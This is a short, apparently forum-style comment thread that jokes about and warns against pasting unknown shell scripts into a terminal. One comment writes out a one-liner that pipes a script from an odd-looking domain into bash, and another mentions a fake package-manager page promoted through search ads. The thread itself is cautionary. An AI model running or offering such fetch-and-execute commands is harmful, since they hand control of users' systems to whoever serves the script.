• kamen
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    … and yet some of the same people will readily copy-paste random shell scripts into their terminal without fully understanding them.

    • Possibly linux
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      curl gu5usgugiv.lol | bash || curl get.k3s.io | bash
      

      Someone did something similar to this with a fake brew package manager page. They paid Google to put it on the front page.

    • @Huschke
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      But a forum post said it would fix my issue.

      • @[email protected]
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        I feel like there’s some truth to this!

        If the posted answer was in a moderately active thread, you can generally assume it’s correct if there are no contradictory replies.

        • @lemming741
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          If the thread has been dead a few weeks, they could edit their post. Or if it pulls a objects, those objects could change.

    • @Rooty
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      Raises hand I might be some people 🥺

    • @DragonsInARoom
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      Let me open up my Linux bible and see if its malicious